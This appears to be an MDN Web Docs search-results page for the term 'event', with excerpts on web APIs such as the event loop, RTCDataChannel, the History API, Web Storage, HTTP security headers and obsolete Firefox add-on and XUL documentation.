he htmlvideoelement and htmlaudioelement elements both inherit this interface. ...
...position: absolute; top: 0; left: 0;" viewbox="-50 0 600 180" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
... htmlmediaelement.audiotracks a audiotracklist that lists the audiotrack objects contained in the element. htmlmediaelement.autoplay a boolean that reflects the autoplay html attribute, indicating whether playback should automatically begin as soon as enough med...
...And 9 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
is made up of a set of execution contexts, the execution context stack, a main thread, a set for any additional threads that may be created to handle workers, a task queue, and a microtask queue. other than the main thread—which some browsers share across multiple agents—each component of an agent is unique to that agent. here we look at how the runtime functions in slightly more detail. ...
...s, the execution context stack, a main thread, a set for any additional threads that may be created to handle workers, a task queue, and a microtask queue. other than the main thread—which some browsers share across multiple agents—each component of an agent is unique to that agent. here we look at how the runtime functions in slightly more detail.
event loops each agent is driven by an
event loop, which collects any user and other
events, enqueuing tasks to handle each callback. it then runs any pending javascript tasks, then any pending microtasks, then performs any needed rendering and painting before looping again to check for pending tasks. your web site or app's code runs in the same thread, sharing the same
event loop, as the user interface of the web browser itself. this is t...
...pt tasks, then any pending microtasks, then performs any needed rendering and painting before looping again to check for pending tasks. your web site or app's code runs in the same thread, sharing the same
event loop, as the user interface of the web browser itself. this is the main thread, and in addition to running your site's main code body, it handles receiving and dispatching user and other
events, rendering and painting web content, and so forth. ...
...And 9 more matches
RTCDataChannel - Web APIs
of arbitrary data. every data channel is associated with an rtcpeerconnection, and each peer connection can have up to a theoretical maximum of 65,534 data channels (the actual limit may vary from browser to browser). to create a data channel and ask a remote peer to join you, call the rtcpeerconnection's createdatachannel() method. the peer being invited to exchange data receives a datachannel
event (which has type rtcdatachannel
event) to let it know the data channel has been added to the connection. propertiesalso inherits properties from:
eventtargetbinarytype the property binarytype on the rtcdatachannel interface is a domstring which specifies the type of javascript object which should be used to represent binary data received on the rtcdatachannel. values allowed by the websocket.bina...
...tes the state of the data channel's underlying data connection.reliable read only the read-only rtcdatachannel property reliable indicates whether or not the data channel is reliable.stream read only the deprecated (and never part of the official specification) read-only rtcdatachannel property stream returns an id number (between 0 and 65,535) which uniquely identifies the rtcdatachannel.
event handlersalso inherits
event handlers from:
eventtargetonbufferedamountlow the rtcdatachannel.onbufferedamountlow property is an
eventhandler which specifies a function the browser calls when the bufferedamountlow
event is sent to the rtcdatachannel. this
event, which is represented by a simple
event object, is sent when the amount of data buffered to be sent falls to or below the threshold speci...
...feredamountlow property is an
eventhandler which specifies a function the browser calls when the bufferedamountlow
event is sent to the rtcdatachannel. this
event, which is represented by a simple
event object, is sent when the amount of data buffered to be sent falls to or below the threshold specified by the channel's bufferedamountlowthreshold.onclose the rtcdatachannel.onclose property is an
eventhandler which specifies a function to be called by the browser when the close
event is received by the rtcdatachannel. ...
...And 9 more matches
Audio and Video Delivery - Developer guides
tribute('src','audiofile.mp3'); } else if (myaudio.canplaytype('audio/ogg')) { myaudio.setattribute('src','audiofile.ogg'); } myaudio.currenttime = 5; myaudio.play(); we set the source of the audio depending on the type of audio file the browser supports, then set the play-head 5 seconds in and attempt to play it. note: play will be ignored by most browsers unless issued by a user-initiated
event. it's also possible to feed an <audio> element a base64 encoded wav file, allowing to generate audio on the fly: <audio id="player" src="data:audio/x-wav;base64,uklgrvc..."></audio> speak.js employs this technique. try the demo. javascript video var myvideo = document.createelement('video'); if (myvideo.canplaytype('video/mp4')) { myvideo.setattribute('src','videofile.mp4'); } else if (m...
...le clear key decryption to high value video (given an appropriate user agent implementation). license/key exchange is controlled by the application, facilitating the development of robust playback applications supporting a range of content decryption and protection technologies. one of the principle uses of eme is to allow browsers to implement drm (digital rights management), which helps to pr
event web-based content (especially video) from being copied. adaptive streaming new formats and protocols are being rolled out to facilitate adaptive streaming. adaptive streaming media means that the bandwidth and typically quality of the stream can change in real-time in reaction to the user's available bandwidth. adaptive streaming is often used in conjunction with live streaming where smooth del...
...nk your controls to the audio/video api. if you need something extra, it's possible to add features that are not currently present in default players, such as playback rate, quality stream switches or even audio spectrums. you can also choose how to make your player responsive — for example you might remove the progress bar under certain conditions. ...
...And 9 more matches
HTTP Index - HTTP
, such as those issued by the browser when resources are embedded using elements such as <script> and <img>. this serves as an additional layer of protection above and beyond the same-origin policy which can mitigate speculative side channel attacks as well as cross-site script inclusion attacks. cross-origin resource policy complements cross-origin read blocking (corb), which is a mechanism to pr
event some cross-origin reads by default. 20 cross-origin resource sharing (cors) ajax, cors, cross-origin resource sharing, fetch, fetch api, http, http access controls, same-origin policy, security, xmlhttprequest, l10n:priority cross-origin resource sharing (cors) is a mechanism that uses additional http headers to tell browsers to give a web application running at one origin, a...
...s conditional requests, guide, http http has a concept of conditional requests, where the result, and even the success of a request, can be changed by comparing the affected resources with the value of a validator. such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when pr
eventing to lose updates when uploading or modifying a document on the server. 45 http cookies advertising, browser, cookies, cookies article, guide, http, history, javascript, privacy, protocols, server, storage, web development, data, request, tracking an http cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser. the browser m...
...a document's <base> element. if this value is absent, then any uri is allowed. if this directive is absent, the user agent will use the value in the <base> element. 78 csp: block-all-mixed-content csp, content-security-policy, directive, http, mixed content, reference, security, block-all-mixed-content the http content-security-policy (csp) block-all-mixed-content directive pr
events loading any assets using http when the page is loaded using https. 79 csp: child-src csp, child, content-security-policy, directive, http, reference, security, child-src, source the http content-security-policy (csp) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>. for workers, non-...
...And 9 more matches
begin - SVG: Scalable Vector Graphics
the begin attribute defines when an animation should begin or when an element should be discarded. the attribute value is a semicolon separated list of values. the interpretation of a list of start times is detailed in the smil specification in "evaluation of begin and end time lists". each individual value can be one of the following : <offset-value>, <syncbase-value>, <
event-value>, <repeat-value>, <accesskey-value>, <wallclock-sync-value> or the keyword indefinite. six elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <discard>, and <set> animate, animatecolor, animatemotion, animatetransform, set for <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set>, begin defines when the element should begin, i.e. become active.
... begin, i.e. become active. value <begin-value-list> default value 0s animatable no the <begin-value-list> is a semicolon-separated list of values. each value can be one of the following: <offset-value> this value defines a clock-value that represents a point in time relative to the beginning of the svg document (usually the load or domcontentloaded
event). negative values are valid. <syncbase-value> this value defines a syncbase and an optional offset from that syncbase. the element's animation start time is defined relative to the begin or active end of another animation. a valid syncbase-value consists of an id reference to another animation element followed by a dot and either begin or end to identify whether to synchronize with the beginni...
...lement's animation start time is defined relative to the begin or active end of another animation. a valid syncbase-value consists of an id reference to another animation element followed by a dot and either begin or end to identify whether to synchronize with the beginning or active end of the referenced animation element. an optional offset value as defined in <offset-value> can be appended. ...
...And 9 more matches
Content Scripts - Archive of obsolete content
ion specifies when the content script(s) should be loaded. it takes one of: "start": load the scripts immediately after the document element for the page is inserted into the dom. at this point the dom content hasn't been loaded yet, so the script won't be able to interact with it. "ready": load the scripts after the dom for the page has been loaded: that is, at the point the domcontentloaded
event fires. at this point, content scripts are able to interact with the dom content, but externally-referenced stylesheets and images may not have finished loading. "end": load the scripts after all content (dom, js, css, images) for the page has been loaded, at the time the window.onload
event fires. the default value is "end". note that tab.attach() doesn't accept contentscriptwhen, because it'...
... and it won't clash with the page script's version. interacting with page scripts usually the insulation between content scripts and page scripts is what you want. but sometimes you might want to interact with page scripts: you might want to share objects between content scripts and page scripts or to send messages between them. if you need to do this, read about interacting with page scripts.
event listeners you can listen for dom
events in a content script just as you can in a normal page script, but there are two important differences: first, if you define an
event listener by passing it as a string into setattribute(), then the listener is evaluated in the page's context, so it will not have access to any variables defined in the content script. for example, this content script will f...
...ener by passing it as a string into setattribute(), then the listener is evaluated in the page's context, so it will not have access to any variables defined in the content script. for example, this content script will fail with the error "themessage is not defined": var themessage = "hello from content script!"; anelement.setattribute("onclick", "alert(themessage);"); second, if you define an
event listener by direct assignment to a global
event handler like onclick, then the assignment might be overridden by the page. for example, here's an add-on that tries to add a click handler by assignment to window.onclick: var myscript = "window.onclick = function() {" + " console.log('unsafewindow.onclick: ' + window.document.title);" + "}"; require("sdk/page-mod").
...And 8 more matches
context-menu - Archive of obsolete content
adds items, submenus, and menu separators to the page's context menu. usage instead of manually adding items when particular contexts occur and then removing them when those contexts go away, you bind items to contexts, and the adding and removing is automatically handled for you. items are bound to contexts in much the same way that
event listeners are bound to
events. when the user invokes the context menu, all of the items bound to the current context are automatically added to the menu. if no items are bound, none are added. likewise, any items that were previously in the menu but are not bound to the current context are automatically removed from the menu. you never need to manually remove your items from the menu unless you want them to never appear again. for example, if your add-o...
...has at least one image, but declarative contexts won't help you there. when you need more control over the context in which your menu items are shown, you can use content scripts. like other apis in the sdk, the context-menu api uses content scripts to let your add-on interact with pages in the browser. each menu item you create in the top-level context menu can have a content script. a special
event named "context" is emitted in your content scripts whenever the context menu is about to be shown. if you register a listener function for this
event and it returns true, the menu item associated with the listener's content script is shown in the menu. for example, this item appears whenever the context menu is invoked on a page that contains at least one image: require("sdk/context-menu").item...
...meter called node. this is the node in the page that the user context-clicked to invoke the menu. you can use it to determine whether your item should be shown. you can both specify declarative contexts and listen for contexts in a content script. your context listener is called even if any declarative contexts are not current (since firefox 36). if you combine selectorcontext and the "context"
event, be aware that the node argument passed to the "context"
event will not always match the type specified in selectorcontext. selectorcontext will match if the menu is invoked on the node specified or any descendant of that node, but the "context"
event handler is passed the actual node on which the menu was invoked. the example above works because <img> elements can't contain other elements, but ...
...And 8 more matches
Windows - Archive of obsolete content
owmediator); var newwindow = wm.getmostrecentwindow("navigator:browser"); var b = newwindow.gbrowser; the code generate a typeerror from firefox console. in particular the components.classes is undefined and the components object is deprecated. it will soon be removed. ...
...the code generate a typeerror from firefox console. in particular the components.classes is undefined and the components object is deprecated. it will soon be removed. draggable windows to make a window draggable by clicking on the window's contents, you can use the mousedown and mousemove
events. the following code does not care which element is clicked on, simply responding to all mousedown
events equally. ...
...cular the components.classes is undefined and the components object is deprecated. it will soon be removed. draggable windows to make a window draggable by clicking on the window's contents, you can use the mousedown and mousemove
events. the following code does not care which element is clicked on, simply responding to all mousedown
events equally. you could improve this code by checking the
event.target element and only setting the startpos if the element matches some criteria. ...
...And 8 more matches
Installing Extensions and Themes From Web Pages - Archive of obsolete content
there are a variety of ways you can install extensions and themes from web pages, including direct linking to the xpi files and using the installtrigger object. extension and web authors are encouraged to use the method described below to install xpis, as it provides the best experience to users. ...
...e a variety of ways you can install extensions and themes from web pages, including direct linking to the xpi files and using the installtrigger object. extension and web authors are encouraged to use the method described below to install xpis, as it provides the best experience to users. ...
...linking to the xpi files and using the installtrigger object. extension and web authors are encouraged to use the method described below to install xpis, as it provides the best experience to users. ...
...And 8 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
onal information. table 1: types of buttons that can be displayed in the dialog element additionally, there are two special button names, extra1 and extra2. the labels for these buttons are set using the buttonlabelextra1 and buttonlabelextra2 attributes on the root element, which take arbitrary strings as their values. the action taken when pressing one of these buttons is defined by an
event handler with the name ondialog<button name>. if these
event handlers are not defined, pressing either the accept button or cancel button will simply close that dialog. listing 8 shows a simple dialog example, and figure 5 shows its output. <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet href="chrome://global/skin/"?> <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.onl...
...tiple menus. you can easily create hierarchical menus by inserting menupopup and menu elements. you can even display icons in menus by adding class="menuitem-iconic" to a menuitem element, along with a src attribute that gives an image uri. figure 7 shows an example of how this is displayed. ...
...adding class="menuitem-iconic" to a menuitem element, along with a src attribute that gives an image uri. figure 7 shows an example of how this is displayed. figure 7: menu items with icons executing commands when selecting menu items much like dynamic html,
event handlers are used to execute a command when a menu item is selected. to respond to mouse and keyboard inputs in html, the onclick
event handler is typically used to respond to mouse clicks, and the onkeypress
event handler for keyboard input. xul can also use these
event handlers, but xul also offers the oncommand special
event handler to deal with actions that often have specific meanings, such as selection by a left-click (or right-click on systems set up as left-handed) on the mouse or selection by the enter key. listing 10 s...
...And 8 more matches
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
failure to do so can lead to execution or remote scripts, and in the worst cases to privilege escalation which can leave a user's pc open to remote attack. building dom trees in most cases, dom trees should be built exclusively with dom creation methods. the following methods will all safely create a dom tree without risk of remote execution. ...
...ons (eg. onclick) for (var key in elemattr) { var val = elemattr[key]; if (nodes && key == "key") { nodes[val] = elem; continue; } var attrns = namespace(key); if (typeof val == "function") { // special case for function attributes; don't just add them as 'on...' attributes, but as
events, using add
eventlistener elem.add
eventlistener(key.replace(/^on/, ""), val, false); } else { // note that the default namespace for xml attributes is, and should be, blank (ie. they're not in any namespace) elem.setattributens(attrns.namespace || "", attrns.shortname, val); } } // create and appen...
...elem instanceof doc.defaultview.node ? childelem : array.isarray(childelem) ? tag.apply(null, childelem) : doc.createtextnode(childelem)); } }); return elem; } return tag.apply(null, jsontemplate); } in the above, the namespaces object defines the namespace prefixes which can be used in the given dom tree. ...
...And 8 more matches
key - Archive of obsolete content
nt to be activated. for the shortcut defined using the key element to work, you must specify a command attribute (or an oncommand handler) on the key element. to display the shortcut defined with the key element in the ui, you can use <menuitem key="key element's id" command="command id" .../>. in order to use (non-default) key commands within specific elements, you will need to listen for key
events. more information is available in the xul tutorial. attributes command, disabled, key, keycode, keytext, modifiers, oncommand, phase examples (example needed) attributes command type: id set to the id of a command element that is being observed by the element. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the eleme...
...tes command type: id set to the id of a command element that is being observed by the element. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command
event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse
events. to enable th...
...keyboard shortcuts on the user's platform, which is control on windows and linux, and command on mac. usually, this would be the value you would use. access: the access key for activating menus and other elements. on windows, this is the alt key, used in conjuction with an element's accesskey. any: indicates that all modifiers preceding it are optional. ...
...And 8 more matches
Observer Notifications
use at this point. to receive this notification you have to register with nsicategorymanager. the registered component is always retrieved as a singleton (that is getservice() will be used to instantiate it). app-startup note: an extension can no longer be registered to receive this notification in firefox 4 and later. see xpcom changes in gecko 2.0 for details. general
event for application startup. to receive this notification you have to register with nsicategorymanager. prepend "service," to the contract id in the category registration to be invoked via getservice() instead of createinstance(). profile-do-change this is fired after the profile has been selected. you will not be able to access user preferences, bookmarks, or anything that uses the p...
... to receive this notification you have to register with nsicategorymanager. prepend "service," to the contract id in the category registration to be invoked via getservice() instead of createinstance(). profile-do-change this is fired after the profile has been selected. you will not be able to access user preferences, bookmarks, or anything that uses the profile folder until this
event occurs. this occurs after any profile migration. profile-after-change this is fired after all the observers for profile-do-change have been notified. you can register with nsicategorymanager to receive this notification. prior to firefox 3.5, this was available to observers observing the app-startup/xpcom-startup notification. final-ui-startup triggered ...
...ost. note: the data value for this notification is always 'shutdown-persist'. profile-before-change-qm called to shut down the quotamanager; this is separated from profile-before-change to allow everything inside profile-before-change to continue using it. profile-before-change-telemetry called to shut down telemetry, again separated to allow everything before this
event to continue using it. xpcom-will-shutdown called just before xpcom-shutdown. observer must not spin
event loop. xpcom-shutdown assortment of critical services stop operating. many things will not be available here. web-workers-shutdown called inside xpcom-shutdown. this shuts down all web workers. xpcom-shutdown-threads shuts down the thread manager...
...And 7 more matches
Cache.match() - Web APIs
object or a url. options optional an object that sets options for the match operation. the available options are: ignoresearch: a boolean that specifies whether to ignore the query string in the url. for example, if set to true the ?value=bar part of http://foo.com/?value=bar would be ignored when performing a match. it defaults to false. ignoremethod: a boolean that, when set to true, pr
events matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false. ignorevary: a boolean that when set to true tells the matching operation not to perform vary header matching — i.e. if the url matches you will get a match regardless of whether the response object has a vary header. it defaults to false. return value a promise t...
...tch() clause is triggered when the call to fetch() throws an exception. inside the catch() clause, match() is used to return the correct response. in this example, only html documents retrieved with the get http verb will be cached. if our if() condition is false, then this fetch handler won't intercept the request. ...
...h() throws an exception. inside the catch() clause, match() is used to return the correct response. in this example, only html documents retrieved with the get http verb will be cached. if our if() condition is false, then this fetch handler won't intercept the request. if there are any other fetch handlers registered, they will get a chance to call
event.respondwith(). ...
...And 7 more matches
Using FormData Objects - Web APIs
ize="32" maxlength="64" /><br /> <label>custom file label:</label> <input type="text" name="filelabel" size="12" maxlength="32" /><br /> <label>file to stash:</label> <input type="file" name="file" required /> <input type="submit" value="stash the file!" /> </form> <div></div> then you can send it using code like the following: var form = document.forms.nameditem("fileinfo"); form.add
eventlistener('submit', function(ev) { var ooutput = document.queryselector("div"), odata = new formdata(form); odata.append("customfield", "this is some extra data"); var oreq = new xmlhttprequest(); oreq.open("post", "stash.php", true); oreq.onload = function(o
event) { if (oreq.status == 200) { ooutput.innerhtml = "uploaded!"; } else { ooutput.innerhtml = "error...
...rm); odata.append("customfield", "this is some extra data"); var oreq = new xmlhttprequest(); oreq.open("post", "stash.php", true); oreq.onload = function(o
event) { if (oreq.status == 200) { ooutput.innerhtml = "uploaded!"; } else { ooutput.innerhtml = "error " + oreq.status + " occurred when trying to upload your file.<br \/>"; } }; oreq.send(odata); ev.pr
eventdefault(); }, false); note: if you pass in a reference to the form, the request method specified in the form will be used over the method specified in the open() call. you can also append a file or blob directly to the formdata object, like this: data.append("myfile", myblob, "filename.txt"); when using the append() method it is possible to use the third optional parameter to pass a filena...
...an also append a file or blob directly to the formdata object, like this: data.append("myfile", myblob, "filename.txt"); when using the append() method it is possible to use the third optional parameter to pass a filename inside the content-disposition header that is sent to the server. when no filename is specified (or the parameter isn't supported), the name "blob" is used. ...
...And 7 more matches
Using the Frame Timing API - Web APIs
the performanceframetiming interface provides frame timing data about the browser's
event loop. a frame represents the amount of work a browser does in one
event loop iteration such as processing dom
events, resizing, scrolling, rendering, css animations, etc. a frame rate of 60 fps (frames per second) for a 60 hz refresh rate is a common target for a good responsive user experience. this means the browser should process a frame in about 16.7ms. an application can register a performanceobserver for "frame" performance entry types and the observer will have data about the duration of each frame
event. this data can be used to help identify areas that take too long to provide a good user experience. this document describes how to use the performanceframetiming interfaces including ex...
... creating an observer to observe "frame" performance entry types, the application first creates a performanceobserver object with a specific frame observer callback. ...
...an be used to help identify areas that take too long to provide a good user experience. this document describes how to use the performanceframetiming interfaces including example code. for an overview of these interfaces see frame timing api. frame observers the performance observer interfaces allow an application to register an observer for specific performance
event types. when one of those
event types is added to the browser's performance timeline, the application is notified of the
event via the observer's callback function that was specified when the observer was created. creating an observer to observe "frame" performance entry types, the application first creates a performanceobserver object with a specific frame observer callback. in the following example, two observers for the "f...
...And 7 more matches
Working with the History API - Web APIs
adding and modifying history entries using pushstate() changes the referrer that gets used in the http header for xmlhttprequest objects created after you change the state. the referrer will be the url of the document whose window is this at the time of creation of the xmlhttprequest object. ...
...te(stateobj, "page 2", "bar.html") this will cause the url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists. suppose now that the user navigates to http://google.com, then clicks the back button. at this point, the url bar will display http://mozilla.org/bar.html and history.state will contain the stateobj. the popstate
event won't be fired because the page has been reloaded. the page itself will look like bar.html. if the user clicks back once again, the url will change to http://mozilla.org/foo.html, and the document will get a popstate
event, this time with a null state object. here too, going back doesn't change the document's contents from what they were in the previous step, although the document might update i...
...d. the page itself will look like bar.html. if the user clicks back once again, the url will change to http://mozilla.org/foo.html, and the document will get a popstate
event, this time with a null state object. here too, going back doesn't change the document's contents from what they were in the previous step, although the document might update its contents manually upon receiving the popstate
event. note: calling history.back() normally behaves the same way as clicking the back button. but there is one important exception: after using history.pushstate(), calling history.back() does not raise a popstate
event. clicking the browser's back button (still) does. the pushstate() method pushstate() takes three parameters: a state object; a title (currently ignored); and (optionally), a url.
...And 7 more matches
Basic concepts - Web APIs
ns. also see transaction under the definitions section. the indexeddb api is mostly asynchronous. the api doesn't give you data by returning values; instead, you have to pass a callback function. you don't "store" a value into the database, or "retrieve" a value out of the database through synchronous means. instead, you "request" that a database operation happens. you get notified by a dom
event when the operation finishes, and the type of
event you get lets you know if the operation succeeded or failed. this sounds a little complicated at first, but there are sanity measures baked in. it's not that different from the way that xmlhttprequest works. indexeddb uses a lot of requests. requests are objects that receive the success or failure dom
events that were mentioned previously. t...
...s you know if the operation succeeded or failed. this sounds a little complicated at first, but there are sanity measures baked in. it's not that different from the way that xmlhttprequest works. indexeddb uses a lot of requests. requests are objects that receive the success or failure dom
events that were mentioned previously. they have onsuccess and onerror properties, and you can call add
eventlistener() and remove
eventlistener() on them. they also have readystate, result, and errorcode properties that tell you the status of the request. the result property is particularly magical, as it can be many different things, depending on how the request was generated (for example, an idbcursor instance, or the key for a value that you just inserted into the database). indexeddb uses dom e...
...lso have readystate, result, and errorcode properties that tell you the status of the request. the result property is particularly magical, as it can be many different things, depending on how the request was generated (for example, an idbcursor instance, or the key for a value that you just inserted into the database). indexeddb uses dom
events to notify you when results are available. ...
...And 7 more matches
Page Visibility API - Web APIs
with tabbed browsing, there is a reasonable chance that any given webpage is in the background and thus not visible to the user. the page visibility api provides
events you can watch for to know when a document becomes visible or hidden, as well as features to look at the current visibility state of the page. notes: the page visibility api is especially useful for saving resources and improving performance by letting a page avoid performing unnecessary tasks when the document isn't visible. when the user minimizes the window or switches to another tab, the api sends a visibilitychange
event to let listeners know the state of the page has changed. you can detect the
event and perform some actions or behave differently. for example, if your web app is playing a video, it can pause the video ...
...resume playback when the user returns to the tab. the user doesn't lose their place in the video, the video's soundtrack doesn't interfere with audio in the new foreground tab, and the user doesn't miss any of the video in the meantime. visibility states of an <iframe> are the same as the parent document. hiding an <iframe> using css properties (such as display: none;) doesn't trigger visibility
events or change the state of the document contained within the frame. use cases let's consider a few use cases for the page visibility api. a site has an image carousel that shouldn't advance to the next slide unless the user is viewing the page an application showing a dashboard of information doesn't want to poll the server for updates when the page isn't visible a page wants to detect when i...
...ation doesn't want to poll the server for updates when the page isn't visible a page wants to detect when it is being prerendered so it can keep accurate count of page views a site wants to switch off sounds when a device is in standby mode (user pushes power button to turn screen off) developers have historically used imperfect proxies to detect this. for example, watching for blur and focus
events on the window helps you know when your page is not the active page, but it does not tell you that your page is actually hidden to the user. the page visibility api addresses this. note: while onblur and onfocus will tell you if the user switches windows, it doesn't necessarily mean it's hidden. pages only become hidden when the user switches tabs or minimizes the browser window containing the ...
...And 7 more matches
RTCPeerConnection.createDataChannel() - Web APIs
tachannel() method on the rtcpeerconnection interface creates a new channel linked with the remote peer, over which any kind of data may be transmitted. this can be useful for back-channel content such as images, file transfer, text chat, game update packets, and so forth. if the new data channel is the first one added to the connection, renegotiation is started by delivering a negotiationneeded
event. syntax datachannel = rtcpeerconnection.createdatachannel(label[, options]); parameters label a human-readable name for the channel. this string may not be longer than 65,535 bytes. options optional an rtcdatachannelinit dictionary providing configuration options for the data channel rtcdatachannelinit dictionary the rtcdatachannelinit dictionary provides the following fields, any of ...
...s appropriate. default: null. protocol optional the name of the sub-protocol being used on the rtcdatachannel, if any; otherwise, the empty string (""). default: empty string, "". this string may not be longer than 65,535 bytes. negotiated optional by default (false), data channels are negotiated in-band, where one side calls createdatachannel, and the other side listens to the rtcdatachannel
event event using the ondatachannel
eventhandler . alternatively (true), they can be negotiated out of-band, where both sides call createdatachannel with an agreed-upon id. default: false. id optional an 16-bit numeric id for the channel; permitted values are 0-65534. if you don't include this option, the user agent will select an id for you. the options which can be configured using the rtcdatach...
...alue for one of these. resourceinuse an id was specified, but another rtcdatachannel is already using the same value. operationerror either the specified id is already in use or, if no id was specified, the webrtc layer was unable to automatically generate an id because all ids are in use. ...
...And 7 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
we need to add a gainnode and connect that through our aud...
..."0.1" /> now we can create some variables over in javascript and have them change when the input values are updated: let attacktime = 0.2; const attackcontrol = document.queryselector('#attack'); attackcontrol.add
eventlistener('input', function() { attacktime = number(this.value); }, false); let releasetime = 0.5; const releasecontrol = document.queryselector('#release'); releasecontrol.add
eventlistener('input', function() { releasetime = number(this.value); }, false); the final playsweep() function now we can expand our playsweep() function. we need to add a gainnode and connect that through our audio graph to actually apply amplitude variations to our sound. the gain node has one property: gain, which is of type audioparam. this is really useful — now we can start to harness t...
...wave: <label for="hz">hz</label> <input name="hz" id="hz" type="range" min="660" max="1320" value="880" step="1" /> <label for="lfo">lfo</label> <input name="lfo" id="lfo" type="range" min="20" max="40" value="30" step="1" /> as before, we'll vary the parameters when the range input values are changed by the user. ...
...And 7 more matches
Using the Web Storage API - Web APIs
ngs). you can access these values like an object, or with the storage.getitem() and storage.setitem() methods. these three lines all set the (same) colorsetting entry: localstorage.colorsetting = '#a4509b'; localstorage['colorsetting'] = '#a4509b'; localstorage.setitem('colorsetting', '#a4509b'); note: it's recommended to use the web storage api (setitem, getitem, removeitem, key, length) to pr
event the pitfalls associated with using plain objects as key-value stores. the two mechanisms within web storage are as follows: sessionstorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores). localstorage does the same thing, but persists even when the browser is c...
...created an example, imaginatively called web storage demo. the landing page provides controls that can be used to customize the color, font, and decorative image: when you choose different options, the page is instantly updated; in addition, your choices are stored in localstorage, so that when you leave the page and load it again, later on, your choices are remembered. we have also provided an
event output page — if you load this page in another tab, then make changes to your choices in the landing page, you'll see the updated storage information outputted as a storage
event is fired. note: as well as viewing the example pages live using the above links, you can also check out the source code. testing whether your storage has been populated to start with, in main.js, we test whether ...
... color, font, and image path. it then runs the setstyles() function to update the page styles, etc. ...
...And 7 more matches
Window.onbeforeinstallprompt - Web APIs
the window.onbeforeinstallprompt property is an
event handler for processing a beforeinstallprompt, which is dispatched on devices when a user is about to be prompted to "install" a web application. its associated
event may be saved for later and used to prompt the user at a more suitable time. syntax window.add
eventlistener("beforeinstallprompt", function(
event) { ... }); window.onbeforeinstallprompt = function(
event) { ...}; example the following example uses the beforeinstallprompt
event to make an install button operable, by using the
event inside a click handler. ...
...cation. its associated
event may be saved for later and used to prompt the user at a more suitable time. syntax window.add
eventlistener("beforeinstallprompt", function(
event) { ... }); window.onbeforeinstallprompt = function(
event) { ...}; example the following example uses the beforeinstallprompt
event to make an install button operable, by using the
event inside a click handler. ...
...rompt the user at a more suitable time. syntax window.add
eventlistener("beforeinstallprompt", function(
event) { ... }); window.onbeforeinstallprompt = function(
event) { ...}; example the following example uses the beforeinstallprompt
event to make an install button operable, by using the
event inside a click handler. ...
...And 7 more matches
Synchronous and asynchronous requests - Web APIs
xhr.onload = function (e) { if (xhr.readystate === 4) { if (xhr.status === 200) { console.log(xhr.responsetext); } else { console.error(xhr.statustext); } } }; xhr.onerror = function (e) { console.error(xhr.statustext); }; xhr.send(null); line 2 specifies true for its third parameter to indicate that the request should be handled asynchronously. line 3 creates an
event handler function object and assigns it to the request's onload attribute. this handler looks at the request's readystate to see if the transaction is complete in line 4; if it is, and the http status is 200, the handler dumps the received content. if an error occurred, an error message is displayed. line 15 actually initiates the request. the callback routine is called whenever the state of the ...
...y of the variable xhr, passed to the success callback function xhrsuccess., and ultimately supplied to the callback function (in this case, showmessage) which is invoked by function xhrsuccess. line 15 specifies true for its third parameter to indicate that the request should be handled asynchronously. line 16 actually initiates the request. example: using a timeout you can use a timeout to pr
event your code from hanging while waiting for a read to finish. this is done by setting the value of the timeout property on the xmlhttprequest object, as shown in the code below: function loadfile(url, timeout, callback) { var args = array.prototype.slice.call(arguments, 3); var xhr = new xmlhttprequest(); xhr.ontimeout = function () { console.error("the request for " + url + " t...
... usage: function showmessage (message) { console.log(message + this.responsetext); } loadfile("message.txt", 2000, showmessage, "new message!\n"); here, we're specifying a timeout of 2000 ms. note: support for timeout was added in gecko 12.0. synchronous request note: starting with gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27), blink ...
...And 7 more matches
ARIA: grid role - Accessibility
a-row="' + newrow + '"][data-col="' + newcol + '"]'); if (tgt && (tgt.getattribute('role')==='gridcell') ) { array.prototype.foreach.call(document.queryselectorall('[role=gridcell]'), function(el, i){ el.setattribute('tabindex', '-1'); }); tgt.setattribute('tabindex', '0'); tgt.focus(); return true; } else { return false; } } document.queryselector('table').add
eventlistener("keydown", function(
event) { switch (
event.key) { case "arrowright": moveto(parseint(
event.target.dataset.row, 10), parseint(
event.target.dataset.col, 10) + 1); break; case "arrowleft": moveto(parseint(
event.target.dataset.row, 10), parseint(
event.target.dataset.col, 10) - 1); break; case "arrowdown": moveto(parseint(
event.target.dataset.row, 10...
...n", function(
event) { switch (
event.key) { case "arrowright": moveto(parseint(
event.target.dataset.row, 10), parseint(
event.target.dataset.col, 10) + 1); break; case "arrowleft": moveto(parseint(
event.target.dataset.row, 10), parseint(
